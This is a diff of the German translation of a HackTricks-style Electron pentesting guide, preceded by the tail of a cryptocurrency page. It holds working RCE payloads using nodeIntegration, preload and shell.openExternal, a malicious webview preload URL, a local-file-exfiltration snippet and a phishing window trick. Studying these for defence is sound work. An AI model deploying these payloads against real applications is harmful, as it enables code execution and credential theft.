Diese Praktiken und Mechanismen sind grundlegend für jeden, der mit Kryptowährungen interagieren möchte, während er Privatsphäre und Sicherheit priorisiert.
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
- [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
|
||||
- [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -4,23 +4,23 @@
|
||||
|
||||
## Einführung
|
||||
|
||||
Electron kombiniert ein lokales Backend (mit **NodeJS**) und ein Frontend (**Chromium**), obwohl es einige der Sicherheitsmechanismen moderner Browser vermissen lässt.
|
||||
Electron kombiniert ein lokales Backend (mit **NodeJS**) und ein Frontend (**Chromium**), obwohl es einige Sicherheitsmechanismen moderner Browser nicht besitzt.
|
||||
|
||||
Normalerweise findet man den Electron-App-Code innerhalb einer `.asar`-Anwendung; um den Code zu erhalten, muss man ihn extrahieren:
|
||||
```bash
|
||||
npx asar extract app.asar destfolder #Extract everything
|
||||
npx asar extract-file app.asar main.js #Extract just a file
|
||||
```
|
||||
Im Quellcode einer Electron-App findest du in `packet.json` die Angabe zur `main.js`, in der Sicherheitskonfigurationen festgelegt sind.
|
||||
Im Quellcode einer Electron-App findet man in `packet.json` die Angabe der `main.js`-Datei, in der die Sicherheitskonfigurationen gesetzt sind.
|
||||
```json
|
||||
{
|
||||
"name": "standard-notes",
|
||||
"main": "./app/index.js",
|
||||
```
|
||||
Electron hat 2 Prozesstypen:
|
||||
Electron hat 2 Prozessarten:
|
||||
|
||||
- Hauptprozess (hat vollständigen Zugriff auf NodeJS)
|
||||
- Renderer-Prozess (sollte aus Sicherheitsgründen nur eingeschränkten Zugriff auf NodeJS haben)
|
||||
- Renderer-Prozess (sollte aus Sicherheitsgründen eingeschränkten NodeJS-Zugriff haben)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -32,20 +32,20 @@ let win = new BrowserWindow()
|
||||
//Open Renderer Process
|
||||
win.loadURL(`file://path/to/index.html`)
|
||||
```
|
||||
Einstellungen des **Renderer-Prozesses** können im **Hauptprozess** in der Datei main.js **konfiguriert** werden. Einige dieser Konfigurationen können verhindern, dass die Electron-Anwendung RCE oder andere Schwachstellen erhält, wenn die **Einstellungen korrekt konfiguriert** sind.
|
||||
Einstellungen des **Renderer-Prozesses** können im **Hauptprozess** innerhalb der main.js-Datei **konfiguriert** werden. Einige der Konfigurationen verhindern, dass die Electron-Anwendung RCE oder andere Verwundbarkeiten erhält, wenn die **Einstellungen korrekt konfiguriert** sind.
|
||||
|
||||
Die Electron-Anwendung **kann über Node-APIs auf das Gerät zugreifen**, obwohl dies so konfiguriert werden kann, dass es verhindert wird:
|
||||
Die Electron-Anwendung könnte über Node-APIs auf das Gerät zugreifen, obwohl dies durch Konfiguration verhindert werden kann:
|
||||
|
||||
- **`nodeIntegration`** - ist `off` by default. If on, allows to access node features from the renderer process.
|
||||
- **`contextIsolation`** - ist `on` by default. If off, main and renderer processes aren't isolated.
|
||||
- **`preload`** - empty by default.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ist off by default. It will restrict the actions NodeJS can perform.
|
||||
- **`nodeIntegration`** - ist standardmäßig `off`. Wenn `on`, erlaubt es den Zugriff auf Node-Funktionen aus dem Renderer-Prozess.
|
||||
- **`contextIsolation`** - ist standardmäßig `on`. Wenn `off`, sind Haupt- und Renderer-Prozesse nicht isoliert.
|
||||
- **`preload`** - ist standardmäßig leer.
|
||||
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ist standardmäßig `off`. Es beschränkt die Aktionen, die NodeJS ausführen kann.
|
||||
- Node Integration in Workers
|
||||
- **`nodeIntegrationInSubframes`**- ist `off` by default.
|
||||
- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
|
||||
- If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
||||
- **`nodeIntegrationInSubframes`** - ist standardmäßig `off`.
|
||||
- Wenn **`nodeIntegration`** **aktiviert** ist, erlaubt das die Verwendung von **Node.js APIs** in Webseiten, die innerhalb der Electron-Anwendung in **iframes** geladen werden.
|
||||
- Wenn **`nodeIntegration`** **deaktiviert** ist, werden dann Preloads im iframe geladen
|
||||
|
||||
Beispielkonfiguration:
|
||||
Example of configuration:
|
||||
```javascript
|
||||
const mainWindowOptions = {
|
||||
title: "Discord",
|
||||
@ -71,7 +71,7 @@ spellcheck: true,
|
||||
},
|
||||
}
|
||||
```
|
||||
Einige **RCE payloads** aus [here](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
Einige **RCE payloads** von [hier](https://7as.es/electron/nodeIntegration_rce.txt):
|
||||
```html
|
||||
Example Payloads (Windows):
|
||||
<img
|
||||
@ -95,15 +95,15 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
|
||||
src="x"
|
||||
onerror="alert(require('child_process').execSync('uname -a').toString());" />
|
||||
```
|
||||
### Datenverkehr erfassen
|
||||
### Netzwerkverkehr erfassen
|
||||
|
||||
Ändere die start-main-Konfiguration und füge die Verwendung eines Proxys wie folgt hinzu:
|
||||
Passe die start-main-Konfiguration an und füge die Verwendung eines Proxy (z. B.) hinzu:
|
||||
```javascript
|
||||
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
||||
```
|
||||
## Electron Local Code Injection
|
||||
|
||||
Wenn Sie eine Electron App lokal ausführen können, ist es möglich, dass Sie sie dazu bringen, beliebigen javascript-Code auszuführen. Siehe dazu in:
|
||||
Wenn du eine Electron App lokal ausführen kannst, ist es möglich, dass du sie beliebigen javascript-Code ausführen lassen kannst. Siehe dazu:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -112,7 +112,7 @@ Wenn Sie eine Electron App lokal ausführen können, ist es möglich, dass Sie s
|
||||
|
||||
## RCE: XSS + nodeIntegration
|
||||
|
||||
Wenn die **nodeIntegration** auf **on** gesetzt ist, kann das JavaScript einer Webseite Node.js-Funktionen einfach durch Aufruf von `require()` verwenden. Zum Beispiel sieht die Ausführung der calc-Anwendung unter Windows so aus:
|
||||
Wenn die **nodeIntegration** auf **on** gesetzt ist, kann das JavaScript einer Webseite Node.js-Funktionen ganz einfach nutzen, indem es `require()` aufruft. Zum Beispiel, um die calc application unter Windows auszuführen:
|
||||
```html
|
||||
<script>
|
||||
require("child_process").exec("calc")
|
||||
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
|
||||
|
||||
## RCE: preload
|
||||
|
||||
Das in dieser Einstellung angegebene Skript wird **vor anderen Skripten im Renderer geladen**, sodass es **uneingeschränkten Zugriff auf Node APIs** hat:
|
||||
Das Skript, das in dieser Einstellung angegeben ist, wird **vor anderen Skripten im Renderer geladen**, daher hat es **uneingeschränkten Zugriff auf Node APIs**:
|
||||
```javascript
|
||||
new BrowserWindow{
|
||||
webPreferences: {
|
||||
@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
|
||||
}
|
||||
});
|
||||
```
|
||||
Daher kann das Skript node-features in Seiten exportieren:
|
||||
Daher kann das script node-features in Seiten exportieren:
|
||||
```javascript:preload.js
|
||||
typeof require === "function"
|
||||
window.runCalc = function () {
|
||||
@ -149,16 +149,16 @@ runCalc()
|
||||
</script>
|
||||
</body>
|
||||
```
|
||||
> [!NOTE] > **If `contextIsolation` is on, this won't work**
|
||||
> [!NOTE] > **Wenn `contextIsolation` aktiviert ist, funktioniert das nicht**
|
||||
|
||||
## RCE: XSS + contextIsolation
|
||||
|
||||
Die _**contextIsolation**_ führt die **getrennten Kontexte zwischen den Skripten der Webseite und dem internen JavaScript-Code von Electron** ein, sodass die JavaScript-Ausführung des jeweiligen Codes einander nicht beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE auszuschließen.
|
||||
Die _**contextIsolation**_ führt zu **getrennten Kontexten zwischen den Skripten der Webseite und dem internen JavaScript-Code von Electron**, sodass die JavaScript-Ausführung des einen Codes den anderen nicht beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE auszuschließen.
|
||||
|
||||
Wenn die Kontexte nicht isoliert sind, kann ein Angreifer:
|
||||
|
||||
1. **Beliebigen JavaScript-Code im Renderer ausführen** (XSS oder Navigation zu externen Seiten)
|
||||
2. **Eingebaute Methoden überschreiben**, die im preload oder im internen Electron-Code verwendet werden, um die Funktion zu übernehmen
|
||||
1. Ausführen von **beliebigem JavaScript im Renderer** (XSS oder Navigation zu externen Seiten)
|
||||
2. **Die built-in Methode überschreiben**, die in preload oder im internen Electron-Code verwendet wird, um Kontrolle zu erlangen
|
||||
3. **Auslösen** der Verwendung der **überschriebenen Funktion**
|
||||
4. RCE?
|
||||
|
||||
@ -179,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
|
||||
electron-contextisolation-rce-via-ipc.md
|
||||
{{#endref}}
|
||||
|
||||
### Click-Event umgehen
|
||||
### Klick-Event umgehen
|
||||
|
||||
Wenn beim Klicken auf einen Link Beschränkungen angewendet werden, könntest du diese möglicherweise umgehen, indem du statt eines normalen linken Klicks **einen Mittelklick ausführst**.
|
||||
Wenn beim Klicken eines Links Einschränkungen gelten, kannst du diese möglicherweise **durch einen Mittelklick** umgehen, statt mit einem normalen Linksklick.
|
||||
```javascript
|
||||
window.addEventListener('click', (e) => {
|
||||
```
|
||||
## RCE via shell.openExternal
|
||||
|
||||
Weitere Informationen zu diesen Beispielen findest du unter [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) und [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
Weitere Informationen zu diesen Beispielen: [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) und [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
||||
|
||||
Beim Deployen einer Electron Desktop-Anwendung ist es entscheidend, die korrekten Einstellungen für `nodeIntegration` und `contextIsolation` vorzunehmen. Es ist etabliert, dass **client-side remote code execution (RCE)**, die auf preload scripts oder Electron's native code aus dem main process abzielt, mit diesen Einstellungen effektiv verhindert wird.
|
||||
Beim Deployen einer Electron desktop application ist es entscheidend, die richtigen Einstellungen für `nodeIntegration` und `contextIsolation` zu setzen. Es ist etabliert, dass **client-side remote code execution (RCE)**, die auf preload scripts oder Electron's native code vom main process abzielt, mit diesen Einstellungen effektiv verhindert wird.
|
||||
|
||||
Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden bestimmte event listeners ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:
|
||||
Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden bestimmte Event-Listener ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||
webContents.on("will-navigate", function (event, url) {}
|
||||
```
|
||||
Diese Listener werden von der Desktop-Anwendung **überschrieben**, um ihre eigene **Geschäftslogik** zu implementieren. Die Anwendung prüft, ob ein navigierter Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird typischerweise durch eine Funktion, `openInternally`, getroffen. Wenn diese Funktion `false` zurückgibt, bedeutet das, dass der Link extern geöffnet werden soll, indem die Funktion `shell.openExternal` verwendet wird.
|
||||
Diese Listener werden von der Desktop-Anwendung **überschrieben**, um ihre eigene **Geschäftslogik** zu implementieren. Die Anwendung prüft, ob ein navigierter Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird typischerweise durch eine Funktion, `openInternally`, getroffen. Wenn diese Funktion `false` zurückgibt, bedeutet das, dass der Link extern geöffnet werden soll und dabei die Funktion `shell.openExternal` verwendet wird.
|
||||
|
||||
**Hier ist ein vereinfachter Pseudocode:**
|
||||
**Here is a simplified pseudocode:**
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Electron JS Security-Best-Practices raten davon ab, nicht vertrauenswürdige Inhalte mit der Funktion `openExternal` zu akzeptieren, da dies zu RCE über verschiedene Protokolle führen kann. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen könnten. Für detaillierte Beispiele und weiterführende Erklärungen zu diesem Thema kann auf [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) verwiesen werden, das Windows-Protokollbeispiele enthält, mit denen diese Verwundbarkeit ausgenutzt werden kann.
|
||||
Die Sicherheits-Best-Practices von Electron JS raten davon ab, nicht vertrauenswürdige Inhalte an die Funktion `openExternal` zu übergeben, da dies über verschiedene Protokolle zu RCE führen kann. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen können. Für detaillierte Beispiele und eine ausführlichere Erklärung zu diesem Thema kann man auf [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) verweisen, das Windows-Protokollbeispiele enthält, mit denen diese Schwachstelle ausgenutzt werden kann.
|
||||
|
||||
In macos kann die Funktion `openExternal` ausgenutzt werden, um beliebige Befehle auszuführen, z. B. `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
Unter macos kann die Funktion `openExternal` ausgenutzt werden, um beliebige Befehle auszuführen, etwa mit `shell.openExternal('file:///System/Applications/Calculator.app')`.
|
||||
|
||||
**Beispiele für Windows-Protokoll-Exploits sind:**
|
||||
**Beispiele für Windows-Protokoll-Exploits umfassen:**
|
||||
```html
|
||||
<script>
|
||||
window.open(
|
||||
@ -228,17 +228,17 @@ window.open(
|
||||
)
|
||||
</script>
|
||||
```
|
||||
## RCE: webviewTag + verwundbare preload IPC + shell.openExternal
|
||||
## RCE: webviewTag + anfällige preload IPC + shell.openExternal
|
||||
|
||||
Diese Schwachstelle ist in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** zu finden.
|
||||
|
||||
Die **webviewTag** ist eine **veraltete Funktion**, die die Verwendung von **NodeJS** im **renderer process** ermöglicht. Sie sollte deaktiviert werden, da dadurch ein Script im preload-Kontext geladen werden kann, z. B.:
|
||||
Der **webviewTag** ist ein **veraltetes Feature**, das die Verwendung von **NodeJS** im **renderer process** erlaubt und deaktiviert werden sollte, da damit ein Script innerhalb des preload context geladen werden kann, wie:
|
||||
```xml
|
||||
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
|
||||
```
|
||||
Daher könnte ein Angreifer, dem es gelingt, eine beliebige Seite zu laden, dieses Tag verwenden, um **ein beliebiges preload script zu laden**.
|
||||
Daher konnte ein Angreifer, der es schafft, eine beliebige Seite zu laden, dieses Tag verwenden, um **ein beliebiges Preload-Skript zu laden**.
|
||||
|
||||
Dieses preload script wurde dann ausgenutzt, um einen **verwundbaren IPC service (`skype-new-window`)** aufzurufen, der **`shell.openExternal`** aufrief, um RCE zu erlangen:
|
||||
Dieses Preload-Skript wurde dann missbraucht, um einen **verwundbaren IPC-Dienst (`skype-new-window`)** aufzurufen, der **`shell.openExternal`** aufrief, um RCE zu erlangen:
|
||||
```javascript
|
||||
(async() => {
|
||||
const { ipcRenderer } = require("electron");
|
||||
@ -251,7 +251,7 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
|
||||
```
|
||||
## Interne Dateien lesen: XSS + contextIsolation
|
||||
|
||||
**Das Deaktivieren von `contextIsolation` ermöglicht die Verwendung von `<webview>`-Tags**, ähnlich wie bei `<iframe>`, zum Lesen und Exfiltrieren lokaler Dateien. Ein Beispiel zeigt, wie diese Schwachstelle ausgenutzt werden kann, um den Inhalt interner Dateien zu lesen:
|
||||
**Das Deaktivieren von `contextIsolation` ermöglicht die Verwendung von `<webview>`-Tags**, ähnlich wie `<iframe>`, um lokale Dateien zu lesen und zu exfiltrieren. Ein Beispiel zeigt, wie diese Schwachstelle ausgenutzt werden kann, um den Inhalt interner Dateien zu lesen:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -271,23 +271,23 @@ frames[0].document.body.innerText
|
||||
</script>
|
||||
</h1>
|
||||
```
|
||||
## **RCE: XSS + Veraltetes Chromium**
|
||||
## **RCE: XSS + Old Chromium**
|
||||
|
||||
Wenn der **chromium**, den die Anwendung verwendet, **veraltet** ist und es **bekannte** **vulnerabilities** darauf gibt, könnte es möglich sein, diese zu **exploit** und RCE durch eine **XSS** zu erlangen.\
|
||||
Wenn der in der Anwendung verwendete **chromium** **alt** ist und es dafür **bekannte** **vulnerabilities** gibt, könnte es möglich sein, ihn auszunutzen und RCE durch eine XSS zu erlangen.\
|
||||
Du kannst ein Beispiel in diesem **writeup** sehen: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **XSS Phishing via Internal URL regex bypass**
|
||||
|
||||
Angenommen, du hast eine XSS gefunden, aber du **kannst keine RCE auslösen oder interne Dateien stehlen**, könntest du versuchen, sie zu nutzen, um **credentials via phishing zu stehlen**.
|
||||
Angenommen, du hast eine XSS gefunden, aber du **kannst damit keinen RCE auslösen oder keine internen Dateien stehlen**, könntest du versuchen, sie zu nutzen, um **Zugangsdaten via Phishing zu stehlen**.
|
||||
|
||||
Zuerst musst du wissen, was passiert, wenn du versuchst, eine neue URL zu öffnen, indem du den JS-Code im front-end überprüfst:
|
||||
Zuerst musst du wissen, was passiert, wenn du versuchst, eine neue URL zu öffnen, indem du den JS-Code im Frontend überprüfst:
|
||||
```javascript
|
||||
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
||||
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
||||
```
|
||||
Der Aufruf von **`openInternally`** entscheidet, ob der **link** im **desktop window** **opened** wird, da es sich um einen zur Plattform gehörenden link handelt, **oder** ob er im **browser as a 3rd party resource** geöffnet wird.
|
||||
Der Aufruf von **`openInternally`** entscheidet, ob der **link** im **Desktop-Fenster** **geöffnet** wird, da es sich um einen zur Plattform gehörenden **link** handelt, **oder** ob er im **Browser als Drittanbieter-Ressource** geöffnet wird.
|
||||
|
||||
Falls der von der Funktion verwendete **regex** **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) ist, könnte ein Angreifer die **XSS** ausnutzen, um **open a new window which** in der Infrastruktur des Angreifers zu platzieren und den Benutzer **asking for credentials** zu fragen:
|
||||
Im Falle, dass die von der Funktion verwendete **regex** **anfällig für Bypässe** ist (zum Beispiel durch **das Nicht-Escapen der Punkte in Subdomains**), könnte ein Angreifer die **XSS** missbrauchen, um **ein neues Fenster zu öffnen, das** in der Infrastruktur des Angreifers liegt und den Benutzer **nach Zugangsdaten fragt**:
|
||||
```html
|
||||
<script>
|
||||
window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
@ -295,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||
```
|
||||
## `file://` Protokoll
|
||||
|
||||
Wie in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) erwähnt, haben Seiten, die über **`file://`** ausgeführt werden, einseitigen Zugriff auf jede Datei auf Ihrem Rechner, was bedeutet, dass **XSS-Schwachstellen genutzt werden können, um beliebige Dateien** vom Rechner des Benutzers zu laden. Die Verwendung eines **benutzerdefinierten Protokolls** verhindert solche Probleme, da Sie das Protokoll darauf beschränken können, nur einen bestimmten Satz von Dateien bereitzustellen.
|
||||
Wie in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) erwähnt, haben Seiten, die über **`file://`** ausgeführt werden, unbeschränkten Zugriff auf alle Dateien Ihres Rechners. Das bedeutet, dass **XSS issues verwendet werden können, um beliebige Dateien** vom Rechner des Benutzers zu laden. Die Verwendung eines **benutzerdefinierten Protokolls** verhindert solche Probleme, da Sie das Protokoll darauf beschränken können, nur eine bestimmte Menge an Dateien auszuliefern.
|
||||
|
||||
## Remote module
|
||||
## Remote-Modul
|
||||
|
||||
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
|
||||
Das Electron Remote-Modul erlaubt, dass **renderer processes Zugriff auf main process APIs** haben und erleichtert die Kommunikation innerhalb einer Electron-Anwendung. Das Aktivieren dieses Moduls führt jedoch zu erheblichen Sicherheitsrisiken. Es vergrößert die Angriffsfläche der Anwendung und macht sie anfälliger für Schwachstellen wie cross-site scripting (XSS) attacks.
|
||||
|
||||
> [!TIP]
|
||||
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
|
||||
> Obwohl das **remote**-Modul einige APIs vom main an renderer processes weitergibt, ist es nicht trivial, allein durch die Ausnutzung der Komponenten RCE zu erlangen. Die Komponenten könnten jedoch sensible Informationen offenlegen.
|
||||
|
||||
> [!WARNING]
|
||||
> Viele Apps, die das **remote** module noch verwenden, tun dies so, dass **NodeIntegration aktiviert sein muss** im renderer process, was ein **großes Sicherheitsrisiko** darstellt.
|
||||
> Viele Apps, die noch das remote-Modul verwenden, tun dies oft so, dass **NodeIntegration im renderer process aktiviert sein muss**, was ein **riesiges Sicherheitsrisiko** darstellt.
|
||||
|
||||
Seit Electron 14 kann das `remote` module in mehreren Schritten aktiviert werden; aus Sicherheits- und Performance-Gründen wird jedoch dringend davon abgeraten, es zu verwenden.
|
||||
Seit Electron 14 könnte das `remote`-Modul von Electron in mehreren Schritten aktiviert worden sein; aus Sicherheits- und Performancegründen wird jedoch empfohlen, es **nicht zu verwenden**.
|
||||
|
||||
Um es zu aktivieren, muss es zuerst im **main process** aktiviert werden:
|
||||
Um es zu aktivieren, muss es zuerst **im main process aktiviert werden**:
|
||||
```javascript
|
||||
const remoteMain = require('@electron/remote/main')
|
||||
remoteMain.initialize()
|
||||
@ -320,39 +320,39 @@ mainWindow = new BrowserWindow({
|
||||
})
|
||||
remoteMain.enable(mainWindow.webContents)
|
||||
```
|
||||
Dann kann der Renderer-Prozess Objekte aus dem Modul so importieren:
|
||||
Dann kann der Renderer-Prozess Objekte aus dem Modul importieren, das er mag:
|
||||
```javascript
|
||||
import { dialog, getCurrentWindow } from '@electron/remote'
|
||||
```
|
||||
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** weist auf einige interessante **Funktionen** hin, die vom Objekt **`app`** des remote module bereitgestellt werden:
|
||||
Der **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** weist auf einige interessante **Funktionen** hin, die vom Objekt **`app`** des remote-Moduls bereitgestellt werden:
|
||||
|
||||
- **`app.relaunch([options])`**
|
||||
- **Startet** die Anwendung neu, indem die aktuelle Instanz **beendet** und eine neue **gestartet** wird. Nützlich für **App-Updates** oder erhebliche **Zustandsänderungen**.
|
||||
- Startet die Anwendung neu, indem die aktuelle Instanz beendet und eine neue gestartet wird. Nützlich für App-Updates oder signifikante Zustandsänderungen.
|
||||
- **`app.setAppLogsPath([path])`**
|
||||
- **Legt fest** oder **erstellt** ein Verzeichnis zum Speichern von **App-Logs**. Die Logs können mit **`app.getPath()`** oder **`app.setPath(pathName, newPath)`** **abgerufen** oder **verändert** werden.
|
||||
- Legt ein Verzeichnis zum Speichern von App-Logs fest oder erstellt es. Die Logs können mit **`app.getPath()`** oder **`app.setPath(pathName, newPath)`** abgerufen oder geändert werden.
|
||||
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
|
||||
- **Registriert** die aktuelle ausführbare Datei als **Standard-Handler** für ein bestimmtes **Protokoll**. Sie können bei Bedarf einen **benutzerdefinierten Pfad** und **Argumente** angeben.
|
||||
- Registriert die aktuelle ausführbare Datei als Standard-Handler für ein angegebenes Protokoll. Optional können ein benutzerdefinierter Pfad und Argumente angegeben werden.
|
||||
- **`app.setUserTasks(tasks)`**
|
||||
- **Fügt** Aufgaben zur **Tasks category** in der **Jump List** (unter Windows) hinzu. Jede Aufgabe kann steuern, wie die App **gestartet** wird oder welche **Argumente** übergeben werden.
|
||||
- Fügt Tasks zur Kategorie Tasks in der Jump List (unter Windows) hinzu. Jede Task kann steuern, wie die App gestartet wird oder welche Argumente übergeben werden.
|
||||
- **`app.importCertificate(options, callback)`**
|
||||
- **Importiert** ein **PKCS#12-Zertifikat** in den systemweiten **Zertifikatsspeicher** (nur Linux). Ein **Callback** kann verwendet werden, um das Ergebnis zu verarbeiten.
|
||||
- Importiert ein PKCS#12-Zertifikat in den Zertifikatspeicher des Systems (nur Linux). Ein Callback kann verwendet werden, um das Ergebnis zu verarbeiten.
|
||||
- **`app.moveToApplicationsFolder([options])`**
|
||||
- **Verschiebt** die Anwendung in den **Applications folder** (auf macOS). Hilft, eine **standardmäßige Installation** für Mac-Nutzer sicherzustellen.
|
||||
- Verschiebt die Anwendung in den Applications-Ordner (auf macOS). Hilft, eine standardisierte Installation für Mac-Benutzer sicherzustellen.
|
||||
- **`app.setJumpList(categories)`**
|
||||
- **Setzt** oder **entfernt** eine **benutzerdefinierte Jump List** unter **Windows**. Sie können **Kategorien** angeben, um zu organisieren, wie Aufgaben dem Benutzer angezeigt werden.
|
||||
- Legt eine benutzerdefinierte Jump List unter Windows fest oder entfernt sie. Es können Kategorien angegeben werden, um zu organisieren, wie Tasks dem Benutzer angezeigt werden.
|
||||
- **`app.setLoginItemSettings(settings)`**
|
||||
- **Konfiguriert**, welche **ausführbaren Dateien** beim **Anmelden** zusammen mit ihren **Optionen** gestartet werden (nur macOS und Windows).
|
||||
- Konfiguriert, welche ausführbaren Dateien beim Login zusammen mit ihren Optionen gestartet werden (nur macOS und Windows).
|
||||
|
||||
Example:
|
||||
Beispiel:
|
||||
```javascript
|
||||
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
|
||||
Native.app.exit()
|
||||
```
|
||||
## systemPreferences Modul
|
||||
|
||||
Die **primäre API** zum Zugriff auf Systemeinstellungen und zum **Auslösen von Systemereignissen** in Electron. Methoden wie **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** und **setUserDefault** gehören alle **zu diesem Modul**.
|
||||
Die **primäre API** zum Zugriff auf Systempräferenzen und zum **Auslösen von Systemereignissen** in Electron. Methoden wie **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** und **setUserDefault** sind alle **Teil dieses Moduls**.
|
||||
|
||||
**Beispielverwendung:**
|
||||
**Beispiel:**
|
||||
```javascript
|
||||
const { systemPreferences } = require('electron');
|
||||
|
||||
@ -367,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
|
||||
```
|
||||
### **subscribeNotification / subscribeWorkspaceNotification**
|
||||
|
||||
* **Hört** auf **native macOS notifications** über NSDistributedNotificationCenter.
|
||||
* Vor **macOS Catalina** konnte man **alle** distributed notifications abhören, indem man **nil** an CFNotificationCenterAddObserver übergab.
|
||||
* Nach **Catalina / Big Sur** können sandboxed Apps weiterhin **vielen Events** (z. B. **screen locks/unlocks**, **volume mounts**, **network activity** usw.) **subscribe**n, indem sie Notifications **by name** registrieren.
|
||||
* **Hört** auf **native macOS-Benachrichtigungen** über NSDistributedNotificationCenter.
|
||||
* Vor **macOS Catalina** konnte man durch Übergabe von **nil** an CFNotificationCenterAddObserver **all** verteilten Benachrichtigungen sniffen.
|
||||
* Nach **Catalina / Big Sur** können sandboxed Apps weiterhin **many events** (z. B. **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) abonnieren, indem sie Benachrichtigungen **by name** registrieren.
|
||||
|
||||
### **getUserDefault / setUserDefault**
|
||||
|
||||
* **Interagiert** mit **NSUserDefaults**, das **application**- oder **global**-Preferences auf macOS speichert.
|
||||
* **Schnittstelle** zu **NSUserDefaults**, das **Anwendungs-** oder **globale** Einstellungen auf macOS speichert.
|
||||
|
||||
* **getUserDefault** kann sensible Informationen **abrufen**, wie z. B. **recent file locations** oder den **geografischen Standort** des Nutzers.
|
||||
* **getUserDefault** kann sensible Informationen abrufen, wie z. B. **recent file locations** oder die **geografische Position des Nutzers**.
|
||||
|
||||
* **setUserDefault** kann diese Preferences **ändern**, was die **Konfiguration** einer App beeinflussen kann.
|
||||
* **setUserDefault** kann diese Einstellungen **ändern**, was die **Konfiguration** einer App beeinflussen kann.
|
||||
|
||||
* In **älteren Electron-Versionen** (vor v8.3.0) war nur die **standard suite** von NSUserDefaults **zugänglich**.
|
||||
* In **älteren Electron versions** (vor v8.3.0) war nur die **standard suite** von NSUserDefaults **accessible**.
|
||||
|
||||
## Shell.showItemInFolder
|
||||
|
||||
Diese Funktion zeigt die angegebene Datei im Dateimanager an, der die Datei **automatisch ausführen** könnte.
|
||||
Diese Funktion zeigt die angegebene Datei im Dateimanager an, was die Datei **automatisch ausführen** könnte.
|
||||
|
||||
